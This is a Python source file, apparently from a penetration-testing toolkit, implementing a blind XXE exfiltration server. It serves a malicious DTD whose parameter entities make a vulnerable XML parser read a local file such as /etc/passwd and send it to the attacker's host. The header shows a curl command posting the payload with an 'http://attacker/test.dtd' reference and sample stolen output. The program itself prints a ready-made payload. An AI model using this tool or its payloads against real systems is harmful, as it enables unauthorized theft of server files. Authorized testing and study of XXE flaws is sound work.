mgeeky-Penetration-Testing-.../web/blindxxe.py

212 lines
6.2 KiB
Python

#!/usr/bin/python
#
# Simple Blind XXE server intended to handle incoming requests for
# malicious DTD file, that will subsequently ask for locally stored file,
# like file:///etc/passwd.
#
# This program has been tested with PlayFramework 2.1.3 XXE vulnerability,
# to be run as follows:
#
# 0. Configure global variables: SERVER_SOCKET and RHOST
#
# 1. Run the below script, using:
# $ python blindxxe.py [options] <filepath>
#
# where <filepath> can be for instance: "file:///etc/passwd"
#
# 2. Then, while server is running - invoke XXE by requesting e.g.
# $ curl -X POST http://vulnerable/app --data-binary \
# $'<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker/test.dtd"><foo>&exfil;</foo>'
#
# The expected result will be like the following:
#
# $ python blindxxe.py
# Exfiltrated file:///etc/passwd:
# ------------------------------
# root:x:0:0:root:/root:/bin/sh
# nobody:x:65534:65534:nobody:/nonexistent:/bin/false
# user:x:1000:50:Linux User,,,:/home/user:/bin/sh
# play:x:100:65534:Linux User,,,:/var/www/play/:/bin/false
# mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
#
#
# Mariusz B., 2016
#
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
import re
import sys
import time
import socket
import argparse
import threading
#
# CONFIGURE THE BELOW VARIABLES
#
config = {
'debug' : '',
'listen' : '0.0.0.0',
'port' : 8080,
'rhost' : '',
'exfil-file' : '',
}
EXFILTRATED_EVENT = threading.Event()
def dbg(x):
if config['debug']:
print('[dbg] {}'.format(x))
class BlindXXEServer(BaseHTTPRequestHandler):
method = ''
def response(self, **data):
code = data.get('code', 200)
content_type = data.get('content_type', 'text/plain')
body = data.get('body', '')
self.send_response(code)
self.send_header('Content-Type', content_type)
self.end_headers()
self.wfile.write(body.encode('utf-8'))
self.wfile.close()
def do_GET(self):
self.method = 'GET'
self.request_handler(self)
def do_POST(self):
self.method = 'POST'
self.request_handler(self)
def log_message(self, format, *args):
return
def request_handler(self, request):
global EXFILTRATED_EVENT
print('[.] Incoming HTTP request from {}: {} {}'.format(
self.client_address[0],
request.method,
request.path[:25]
))
path = urllib.unquote(request.path).decode('utf8')
m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
if m and request.command.lower() == 'get':
data = path[len('/?exfil='):]
print('\n[+] Exfiltrated %s:' % config['exfil-file'])
print('-' * 30)
print(urllib.unquote(data).decode('utf8'))
print('-' * 30 + '\n')
self.response(body='true')
EXFILTRATED_EVENT.set()
elif request.path.endswith('.dtd'):
dbg('Sending malicious DTD file.')
dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s:%(exfil_port)d/?exfil=%%param_exfil;'>">
%%param_request;''' % {
'exfil_file' : config['exfil-file'],
'exfil_host' : config['rhost'],
'exfil_port' : config['port']
}
self.response(content_type='text/xml', body=dtd)
else:
dbg('%s %s' % (request.command, request.path))
self.response(body='false')
def parseOptions(argv):
global config
print('''
:: Blind-XXE attacker's helper backend component
Helps exfiltrate files by abusing out-of-bands XML External Entity vulnerabilities.
Mariusz B. / mgeeky '16-18, <mb@binary-offensive.com>
''')
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <file>')
parser.add_argument('file', type=str, metavar='FILE', default='file:///etc/passwd', help = 'Specifies file to exfiltrate using Blind XXE technique.')
parser.add_argument('-l', '--listen', default='0.0.0.0', help = 'Specifies interface address to bind the HTTP server on / listen on. Default: 0.0.0.0 (all interfaces)')
parser.add_argument('-p', '--port', metavar='PORT', default='8080', type=int, help='Specifies the port to listen on. Default: 8080')
parser.add_argument('-r', '--rhost', metavar='HOST', default=config['rhost'], help='Specifies attackers host address where the victim\'s XML parser should refer while fetching external entities')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
args = parser.parse_args()
config['debug'] = args.debug
config['listen'] = args.listen
config['port'] = int(args.port)
config['rhost'] = args.rhost
config['exfil-file'] = args.file
print('[::] File to be exfiltrated: "{}"'.format(args.file))
port = int(args.port)
if port < 1 or port > 65535:
Logger.err("Invalid port number. Must be in <1, 65535>")
sys.exit(-1)
return args
def fetchRhost():
global config
config['rhost'] = socket.gethostbyname(socket.gethostname())
def main(argv):
global config
fetchRhost()
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
print('[+] Serving HTTP server on: ("{}", {})'.format(
config['listen'], config['port']
))
dbg('RHOST set to: {}'.format(config['rhost']))
rhost = config['listen']
if config['listen'] == '0.0.0.0':
rhost = config['rhost']
print('\n[>] Here, use the following XML to leverage Blind XXE vulnerability:')
print('''
===
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://{}:{}/test.dtd">
<foo>&exfil;</foo>
===
PS: Don't forget to set:
Content-Type: text/xml
'''.format(rhost, config['port']))
server = HTTPServer((config['listen'], config['port']), BlindXXEServer)
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
while not EXFILTRATED_EVENT.is_set():
pass
print('[+] File has been exfiltrated. Quitting.')
if __name__ == '__main__':
main(sys.argv)